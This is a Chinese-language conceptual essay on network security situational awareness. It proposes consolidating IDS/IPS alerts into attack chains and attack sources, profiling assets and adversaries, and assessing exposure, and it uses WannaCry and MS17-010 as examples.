  25. 局域网        局域网的概念应该不用再复杂的赘述一遍,大家都懂。但在这里局域网并非指得是传统概念上的局域网、城域网、广域网中的局域网,而是属于一个组织的所有资产所构成的网络以及其与外界通信信道的集合。 态势感知        态势感知的概念这几年都很火,听了很多介绍,宣讲以及产品展示。就在思考一个问题什么是态势感知。态势感知援引美国海军的周边环境敌我识别+敌情系统。其实是所谓宙斯盾级别驱逐舰(具备有源相控阵雷达组,具备敌我识别、目标跟踪、敌情判定等一整套战场环境感知能力的战舰)就是态势感知的一个良品。用盾舰配合潜艇护卫者航母组成了美海军独霸天下的航母打击群。        网络是虚拟的战场,我们也需要一整套的宙斯盾系统来作为我们防御和进攻的依据。原来我们用IDS和IPS,可以在一定程度是识别敌人(内部做坏事的也算是敌人),但是我们看到IDS和IPS系统每天成千上万的告警,需要一个很庞大的安全团队去处置。一来,建立一只庞大的安全团队并不容易,二来IDS和IPS的大量误报或者近似误报(技术上不是误报但是业务上算是误报)朗威了大量的人力和时间,三来IDS和IPS的漏报有可能留下隐患。业界了为了解决这个问题,开始不断提升报警率,降低误报率。但是攻防不对等导致的该矛盾不仅没有解决反而愈演愈烈。然后发展到SOC聚合流量和日志分析,这进了一步,但是还不够,海量的数据处理越来越依托大数据,而效果也是不令人满意。        真正的态势感知是抽象出来的,不是基于一条一条的告警、或者攻击日志。而要建立攻击链的概念。攻击链就是A攻击了B,无论A使用了什么方法、多少种方法,用了多少个漏洞,前前后后多少次攻击,间隔多久,都归而划一,就是A攻击了B。A到B的整体攻击行为就是一条攻击链。此外对于蠕虫木马类传播的处置还需要建立攻击源的概念,A传播了Wanncry,无论他传播了多少下家,A就是攻击源,掐死A没有问题。当然这里是对威胁三要素中安全情势的处理(这里不再用事件的概念,为了与IDS和IPS的告警事件的概念区分)。至于资产和漏洞(脆弱点)也可以接入整个态势感知系统作为自己方的资料的一部分,从而达到真正的风险评估三要素的统一结合。        建立起了攻击链和攻击源的概念,我们对组织内部安全运营就有了新的认识。按照这个理论,我们还有受害者和潜在受害者(两者都是资产),还有潜在受害点的概念(漏洞)。还有一个概念就是暴露面积的概念,比如A传播Wanncry,但是A只能通信B和C,B只能通信D,C和D都不能继续通信出去(ACL限制),那么暴露面积就是B、C、D。如果B已经中招,C和D还没中招,但是C存在MS17-010漏洞,D不存在。那么D就不具备潜在受害点,但是C具备。C和D虽然都是潜在受害者,但是只有C有可能中招。        上面的概念有点纷繁复杂了是不是,其实我们可以分类成四个维度来看。第一维度--我情,这里面就包括我方资产信息,这里面就包含了受害者、潜在受害者、潜在受害点、暴露面积等信息。第二维度--敌情:攻击源及其信息(这里面包含了很多公司和实验室现在在做的攻击者画像等等。组织内部的敌情可以根据自己收集的信息去统计归类,组织外部的信息如果不是专门做信息安全类的企业或生态及企业,可能需要去购买威胁情报来补充。)第三维度--战况,战况就是攻击链,以及攻击链的详情(我建议需要重点关注下攻击链中的一些特殊的攻击手段和告警,例如Wanncry)这种情况会有相应的不同的解决方案。第四维度--趋势,从我情、敌情和战况来判断未来趋势走向,这个是企业安全战略的问题。 我情: 技术属性(操作系统版本、开放的端口与服务、使用的组件与版本) 业务属性(承载业务等级评估、资产归属人员与部门、业务负责人员等) 网络属性(连通性图、访问特征) 安全属性(漏洞状况、补丁状况、登录状况、侦查检测) 敌情: 虚拟身份(电子邮箱、社交账号、手机号、论坛ID、归属组织) 基础设置(IP地址、域名、URL、CC地址) 攻击能力(使用工具集、历史攻击行为、攻击特征负载、样本HASH) 受害范围(行业分布、关注目标) 战况: 攻击源(记录IP和身份信息,细节查看敌情分析) 受害者(记录IP和归属信息,细节查看资产系统) 惨烈度(多少次告警、高危告警有多少、是否失陷) 趋势: 潜在受害者 潜在受害点 暴露面积 内网的安全运营 安全情势的响应        从安全运营的角度来看一看。首先,我们终于脱离了一条一条去处置告警的繁琐的重复性体力劳动,我们从攻击链的角度来看问题,10000+的告警可能就是三个攻击源攻击了四个目标,一共3x4=12条攻击链信息,追溯攻击源3个,处置3攻击源,就可以遏制时态的进一步扩展。处理四个受害者可以完成定损、止损、回复业务、整改修复方案的指定与推进。站在上帝视野看事情,解决内网安全运营的根本问题。其次,没有告警就没有攻击发生吗?答案显然是否定的,但是整个攻击链条中是否一条告警都不触发呢,不排除这种大神,但是也绝对是凤毛麟角,所以只要有一条告警,就可以抓住整个攻击链,也在一定程度上缓解了漏报带来的风险问题。再次,日志和流量还有告警终于可以在一个平台统一分析整合,避免了之前多平台切换,数据整合分析需要人工完成的尴尬。 风险趋势的评估        原有情况新出了一种攻击手段,新出了一个高危漏洞,如何评估组织内部风险,查看机器,排查受影响组件、手工评估多少台机器,多少业务受影响。现在可以自动化完成这一切,得益于我们前期数据的系统性梳理和统计,完美的解决了这个问题。 整体架构